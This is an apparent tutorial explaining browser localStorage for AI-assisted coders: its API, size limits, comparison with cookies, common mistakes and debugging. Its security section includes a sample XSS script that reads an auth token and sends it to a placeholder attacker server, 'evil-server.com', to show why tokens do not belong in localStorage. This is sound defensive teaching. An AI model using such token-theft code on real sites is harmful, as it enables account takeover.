TL;DR: localStorage is a simple key-value storage system built into every web browser. It lets your JavaScript save small amounts of data (up to ~5MB) that persists even after the user closes the browser. AI uses it constantly for things like saving user preferences, to-do lists, and form data. It is great for non-sensitive data that only needs to exist in one browser. It is terrible — and dangerous — for storing passwords, authentication tokens, or anything private, because any JavaScript on your page can read it, including malicious scripts.

Why AI Coders Need to Know This

If you have asked Claude, ChatGPT, or Cursor to build any kind of web app that remembers things between visits, there is a very good chance it used localStorage. Theme preferences? localStorage. Shopping cart contents? localStorage. To-do list items? localStorage. Authentication tokens? Also localStorage — and that last one is a problem.

localStorage is AI's go-to solution for client-side data persistence because it is dead simple. Three methods — setItem, getItem, removeItem — and your data survives page refreshes, browser restarts, even computer reboots. No database setup. No server needed. No configuration. Just works.

The issue is that AI reaches for localStorage the same way a new carpenter reaches for a hammer — for everything, including screws. It is the right tool for quick, non-sensitive client-side storage. It is the wrong tool for anything that needs security, anything larger than a few megabytes, or anything that needs to sync across devices. Understanding where that line falls is exactly what makes you a better builder.

You will run into localStorage in almost every web development topic: JSON (because localStorage only stores strings), event listeners (for detecting storage changes), cookies (the alternative for server-accessible data), and XSS attacks (the reason you should never store tokens in it).

The Sticky Notes Analogy

Think of localStorage like sticky notes on your monitor. You jot down a quick reminder — "call the electrician" or "project deadline Friday" — and stick it right where you can see it. It is fast, convenient, and always there when you glance over.

But you would never write your bank password on a sticky note and leave it on your monitor. Anyone who walks by can read it. You also would not try to write a novel on sticky notes — you would run out of space. And if someone else sits at your desk, they cannot see the sticky notes on your monitor at home.

That is localStorage in a nutshell. Quick reminders and preferences? Perfect. Sensitive information? Absolutely not. Large amounts of data? Wrong tool. Syncing across devices? Not what it does.

Real Scenario

You asked Claude to build a to-do app. Nothing fancy — just a text input, a list of tasks, and the ability to mark them complete. You want the tasks to still be there when you close the browser and come back tomorrow.

There is no database. No backend. Just an HTML file and some JavaScript. AI reaches for localStorage because it is the simplest way to make data persist in a browser-only app.

Prompt I Would Type

Build me a simple to-do app in HTML and JavaScript. No framework, 
no backend. I want to type a task, hit enter, and see it added to 
a list. I should be able to mark tasks as done and delete them. 

Most importantly: the tasks should still be there when I close 
the browser and reopen the page tomorrow. 

Explain what each part does, especially whatever you use to save 
the data.

That last line — "explain what each part does" — matters. Without it, AI will generate perfectly working localStorage code and never tell you that every piece of data stored there is visible to any JavaScript on the page, including scripts injected by attackers.

What AI Generated

Here is the core localStorage logic AI would generate for a persistent to-do app:

// ===== SAVING TASKS TO LOCALSTORAGE =====

// localStorage only stores strings, so we need to convert our
// array of task objects to a JSON string before saving
function saveTasks(tasks) {
  // JSON.stringify converts a JavaScript array/object into a string
  // Without this, localStorage would store "[object Object]" — useless
  localStorage.setItem('todos', JSON.stringify(tasks));
}

// ===== LOADING TASKS FROM LOCALSTORAGE =====

function loadTasks() {
  // getItem returns the string we stored, or null if nothing is there
  const stored = localStorage.getItem('todos');

  // If there is nothing stored yet (first visit), return an empty array
  if (!stored) return [];

  // JSON.parse converts the string back into a real JavaScript array
  // ⚠️ This can throw an error if the stored string is corrupted!
  try {
    return JSON.parse(stored);
  } catch (error) {
    console.error('Failed to parse stored tasks:', error);
    return []; // Return empty array rather than crashing
  }
}

// ===== ADDING A NEW TASK =====

function addTask(text) {
  const tasks = loadTasks(); // Get current tasks from localStorage
  tasks.push({
    id: Date.now(),            // Simple unique ID using timestamp
    text: text,                // The task description
    completed: false,          // New tasks start as not done
    createdAt: new Date().toISOString()
  });
  saveTasks(tasks);            // Save the updated array back to localStorage
}

// ===== DELETING A TASK =====

function deleteTask(taskId) {
  const tasks = loadTasks();
  // Filter out the task with the matching ID
  const updated = tasks.filter(task => task.id !== taskId);
  saveTasks(updated);          // Save without the deleted task
}

// ===== TOGGLING COMPLETE STATUS =====

function toggleTask(taskId) {
  const tasks = loadTasks();
  const task = tasks.find(t => t.id === taskId);
  if (task) {
    task.completed = !task.completed; // Flip true/false
    saveTasks(tasks);
  }
}

// ===== CLEARING ALL TASKS =====

function clearAllTasks() {
  // removeItem deletes a single key from localStorage
  localStorage.removeItem('todos');

  // Alternative: localStorage.clear() removes EVERYTHING in localStorage
  // for this site — be careful, it nukes all stored data, not just todos
}

This is clean, working code. The tasks persist across browser sessions with zero server infrastructure. For a personal to-do app, this is genuinely the right tool for the job. The problems start when AI applies this same pattern to data that should never live in localStorage.

Understanding Each Part

Key-value strings only

localStorage works like a dictionary: you store data under a name (the key) and retrieve it by that same name. Both the key and the value are always strings. You cannot store numbers, arrays, or objects directly — they get silently converted to strings, which usually means you get "[object Object]" instead of your actual data.

This is why every localStorage example you will ever see includes JSON.stringify() when saving and JSON.parse() when loading. Those two functions convert between real JavaScript data and the string format localStorage requires. If you want to understand this in depth, our What Is JSON? guide covers it thoroughly.

The 5MB limit

Most browsers give each website approximately 5MB of localStorage space. That sounds small, but for text data it is actually quite a lot — 5MB is roughly 2.5 million characters, which is about 400,000 to-do items. You are unlikely to hit this limit with preferences, settings, or even medium-sized datasets.

Where you will hit it: if AI generates code that stores images as base64 strings in localStorage, or caches large API responses there. A single high-resolution image can blow past 5MB on its own. When the limit is exceeded, setItem throws a QuotaExceededError — and if your code does not catch it, your app breaks silently.

Same-origin policy

localStorage is sandboxed per origin — which means per combination of protocol, domain, and port. Data stored by https://myapp.com is completely invisible to https://other-site.com. Even http://myapp.com (no "s") cannot see data stored by https://myapp.com — different protocol, different storage.

This means your localStorage data does not leak to other websites. But it also means that if you move your app from localhost:3000 to myapp.com, all the localStorage data from development is gone. Users sometimes report "I lost all my data" when this happens — they did not lose it, it is just on a different origin.

Synchronous — blocks the main thread

Every localStorage operation blocks your JavaScript while it runs. For small reads and writes, this is unnoticeable. But if you are reading or writing a large chunk of data — say, a 3MB JSON string — the browser's UI freezes until the operation finishes. Your buttons stop responding. Animations stutter. The page feels janky.

For most apps, this is not a real problem. But if AI generates code that reads from localStorage inside a loop that runs hundreds of times, or stores massive datasets, the blocking behavior can visibly hurt performance.

Persists until explicitly cleared

Data in localStorage does not expire. It stays there until your code removes it with removeItem() or clear(), or until the user manually clears their browser data. There is no TTL (time-to-live) like you see in caching. If you stored something in localStorage three years ago and never deleted it, it is still there.

This is a feature and a footgun. It is great for preferences that should persist forever. It is problematic for data that should expire — like a cached API response that is now stale, or a session state that should have ended days ago. If you need expiry, you have to build it yourself by storing a timestamp alongside your data and checking it on load.

localStorage vs sessionStorage vs Cookies

AI often picks localStorage by default, but there are two other browser storage options that might be a better fit depending on your use case. Here is how they compare:

Feature localStorage sessionStorage Cookies
Capacity ~5MB ~5MB ~4KB per cookie
Lifespan Until deleted by code or user Until tab is closed Set by expiry date or session
Sent to server? No — client-side only No — client-side only Yes — on every HTTP request
Accessible by JS? Yes — always Yes — always Only if not httpOnly
Best for User preferences, non-sensitive cached data Temporary form data, single-session state Auth tokens (httpOnly), server-readable state
XSS vulnerable? Yes Yes No (if httpOnly)

The key takeaway: if the data needs to go to the server (like authentication), use cookies with the httpOnly flag. If it is purely client-side and non-sensitive, localStorage or sessionStorage work great. If it should disappear when the user closes the tab, use sessionStorage.

What AI Gets Wrong About localStorage

Storing authentication tokens in localStorage

This is the big one. AI will regularly generate login code that stores a JWT (JSON Web Token) or auth token in localStorage after a successful login:

// ❌ What AI often generates — DO NOT DO THIS
async function login(email, password) {
  const response = await fetch('/api/login', {
    method: 'POST',
    body: JSON.stringify({ email, password })
  });
  const data = await response.json();
  
  // ❌ Storing the auth token in localStorage is a security risk!
  localStorage.setItem('authToken', data.token);
}

// ✅ The safer approach — use httpOnly cookies instead
// Your server sets the cookie in the response header:
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict
// The browser stores and sends it automatically — JavaScript cannot touch it

Why is this dangerous? Because any JavaScript running on your page can read localStorage. If an attacker injects a malicious script through an XSS vulnerability — maybe through an unsanitized comment field or a compromised third-party script — that script can grab the auth token and send it to the attacker's server. They now have full access to the user's account.

httpOnly cookies cannot be read by JavaScript at all. Even if an XSS attack happens, the attacker cannot extract the auth token. This is why cookies with the httpOnly flag are the standard for authentication — not localStorage.

Not handling JSON.parse errors

AI frequently generates localStorage code that calls JSON.parse() without a try/catch:

// ❌ This will crash if the stored data is corrupted
const tasks = JSON.parse(localStorage.getItem('todos'));

// ✅ Always wrap JSON.parse in try/catch
let tasks = [];
try {
  tasks = JSON.parse(localStorage.getItem('todos')) || [];
} catch (e) {
  console.error('Corrupted localStorage data, resetting:', e);
  localStorage.removeItem('todos');
  tasks = [];
}

localStorage data can get corrupted. A user might manually edit it in DevTools. A browser extension might modify it. A partial write during a page crash could leave invalid JSON. Without the try/catch, your entire app crashes with an unhelpful SyntaxError: Unexpected token error.

Exceeding the storage limit without catching the error

When localStorage is full and you try to write more data, it throws a QuotaExceededError. AI almost never wraps setItem in a try/catch to handle this:

// ❌ No error handling — app breaks silently when storage is full
localStorage.setItem('bigData', JSON.stringify(hugeObject));

// ✅ Handle the storage limit gracefully
try {
  localStorage.setItem('bigData', JSON.stringify(hugeObject));
} catch (e) {
  if (e.name === 'QuotaExceededError') {
    console.warn('localStorage is full. Consider clearing old data.');
    // Maybe remove old items to make space
    localStorage.removeItem('oldCache');
  }
}

Assuming localStorage always works

In private/incognito mode, some browsers restrict or disable localStorage. Server-side rendering frameworks (like Next.js) run code on the server where window.localStorage does not exist. Some corporate browsers and privacy extensions block it entirely. AI often generates code that calls localStorage.getItem() without checking if localStorage is actually available:

// ✅ Check that localStorage is available before using it
function isLocalStorageAvailable() {
  try {
    const test = '__storage_test__';
    localStorage.setItem(test, test);
    localStorage.removeItem(test);
    return true;
  } catch (e) {
    return false;
  }
}

// Use it before any localStorage operations
if (isLocalStorageAvailable()) {
  saveTasks(tasks);
} else {
  console.warn('localStorage unavailable — data will not persist');
  // Fall back to keeping data in memory only
}

The Golden Rule of localStorage

Never store anything in localStorage that would be a problem if a stranger could read it. No passwords. No auth tokens. No personal data like social security numbers or credit card info. localStorage is a sticky note on your monitor — convenient and visible to everyone who walks by.

Security Considerations

localStorage's biggest security issue has a name: Cross-Site Scripting, or XSS. Here is why it matters and what to do about it.

The XSS + localStorage attack

An XSS attack happens when an attacker gets their JavaScript code to run on your page. Maybe your app renders user comments without sanitizing them, and someone submits a comment containing <script> tags. Maybe a third-party analytics script you included gets compromised. However it happens, the attacker's code now runs with full access to your page — including localStorage.

// What an XSS attack script might do:
// 1. Read the auth token from localStorage
const token = localStorage.getItem('authToken');

// 2. Send it to the attacker's server
fetch('https://evil-server.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token })
});
// Now the attacker can log in as your user

This is not theoretical. It happens. It is why the security community has been saying "do not store tokens in localStorage" for years. httpOnly cookies are immune to this attack because JavaScript — including the attacker's script — cannot read them.

What is safe to store in localStorage

  • Theme preference (dark mode / light mode)
  • Language selection
  • Non-sensitive UI state (sidebar collapsed, last-viewed tab)
  • Cached data that is not private (public API responses)
  • Draft content the user is writing (but warn them it is not encrypted)

What should never go in localStorage

  • Authentication tokens (JWT, session tokens, API keys)
  • Passwords or password hashes
  • Personal identifiable information (SSN, credit card numbers)
  • Anything you would not want displayed on a billboard

If AI generates code that puts auth tokens in localStorage, ask it to refactor using httpOnly cookies instead. Use this prompt:

Prompt I Would Type

This code stores the auth token in localStorage. That is not safe 
because of XSS attacks. Refactor the authentication to use httpOnly 
cookies instead. The server should set the cookie in the response 
header, and the browser should send it automatically. JavaScript 
should never touch the auth token directly.

How to Debug With AI

Finding your localStorage data in DevTools

Open Chrome DevTools (Cmd+Option+I on Mac, F12 on Windows) and go to the Application tab. In the left sidebar, expand Local Storage and click on your site's origin. You will see every key-value pair stored by your app. You can edit values directly here, delete individual keys, or clear everything.

This is your first debugging stop whenever localStorage behaves unexpectedly. If your to-do app is not loading saved tasks, check here: is the data actually stored? Is the key spelled correctly? Is the stored value valid JSON or is it corrupted?

Common errors and what they mean

  • SyntaxError: Unexpected token in JSON.parse: The string in localStorage is not valid JSON. Maybe it got corrupted, or you stored a plain string and tried to parse it as JSON. Check the raw value in the Application tab.
  • QuotaExceededError: localStorage is full. Go to Application tab → Local Storage → right-click → Clear to free up space. Then add try/catch to your setItem calls.
  • TypeError: Cannot read properties of null: getItem returned null (the key does not exist) and you tried to call a method on it. Always check for null before parsing.
  • Data disappears in incognito: Not a bug. Incognito localStorage is wiped when the window closes. Your app needs a fallback or a clear message to the user.

The debugging prompt

Debug Prompt

My app uses localStorage to save user data, but the data keeps 
disappearing or loading incorrectly. Here is my save/load code:
[paste your localStorage code]

Walk me through what could go wrong. Check for:
1. JSON.stringify/parse errors
2. Missing null checks on getItem
3. Key naming conflicts
4. Whether I'm handling the storage quota limit
5. Whether this will work in incognito mode

Testing localStorage in the console

// Open DevTools Console and try these:

// See everything stored for this site
console.log(JSON.stringify(localStorage, null, 2));

// Check a specific key
console.log(localStorage.getItem('todos'));

// Test if it is valid JSON
try {
  JSON.parse(localStorage.getItem('todos'));
  console.log('Valid JSON ✓');
} catch (e) {
  console.log('Invalid JSON ✗', e.message);
}

// Check how much space you are using (rough estimate)
let total = 0;
for (let key in localStorage) {
  if (localStorage.hasOwnProperty(key)) {
    total += localStorage[key].length + key.length;
  }
}
console.log(`Using ~${(total / 1024).toFixed(1)} KB of ~5120 KB`);

What to Learn Next

localStorage sits at the intersection of several important web concepts. These guides fill in the surrounding picture:

  • What Are Cookies? — The server-accessible alternative to localStorage. Essential reading if AI stored auth tokens in localStorage and you need to understand the safer httpOnly cookie approach.
  • What Is XSS? — The security vulnerability that makes localStorage dangerous for sensitive data. Understand how attackers inject scripts and how to prevent it.
  • What Is JSON? — localStorage only stores strings. JSON is how you convert objects and arrays to strings and back. If JSON.stringify and JSON.parse still feel mysterious, start here.
  • What Are Event Listeners? — localStorage fires a "storage" event when data changes in another tab. Event listeners are how you respond to it — useful for keeping multiple tabs in sync.
  • What Is Caching? — localStorage is sometimes used as a client-side cache. This guide covers the full picture of caching — including when localStorage is the right choice and when Redis or CDN caching makes more sense.

Next Step

Open DevTools on any web app you use regularly and check its localStorage (Application tab → Local Storage). You will be surprised how many sites store data there — and you will start to notice which ones are doing it safely and which ones are not. That intuition is the whole point of understanding this concept.

FAQ

No. localStorage is readable by any JavaScript running on your page, including malicious scripts injected through XSS attacks. Store passwords on the server and use httpOnly cookies for authentication tokens — JavaScript cannot access httpOnly cookies, which makes them much safer. If your AI-generated code stores auth tokens in localStorage, ask it to refactor to httpOnly cookies.

You get a QuotaExceededError. Most browsers give you about 5MB per origin. If your app tries to store more than that, the setItem call throws an error and the data is not saved. Always wrap setItem in a try/catch block to handle this gracefully — otherwise your app fails silently and the user has no idea their data was not saved.

It depends on the browser. Most modern browsers (Chrome, Firefox, Safari) allow localStorage in incognito mode, but the data is wiped when the incognito window closes. Some older browsers or strict privacy settings block it entirely, and setItem will throw an error. Your app should always have a fallback — check that localStorage is available before relying on it.

localStorage persists until you explicitly delete it — it survives closing the browser, restarting the computer, everything. sessionStorage only lasts until the browser tab is closed. They have the same API (setItem, getItem, removeItem) and the same ~5MB limit. Use sessionStorage for temporary data that should not follow the user across sessions, like a multi-step form in progress or a one-time wizard state.

Not directly. localStorage only stores strings. To save an object or array, convert it to a string with JSON.stringify() before storing, then convert it back with JSON.parse() when you retrieve it. AI usually handles this correctly, but often forgets to wrap JSON.parse in a try/catch — which crashes your app if the stored string is corrupted or manually edited. See our What Is JSON? guide for the full picture on stringify and parse.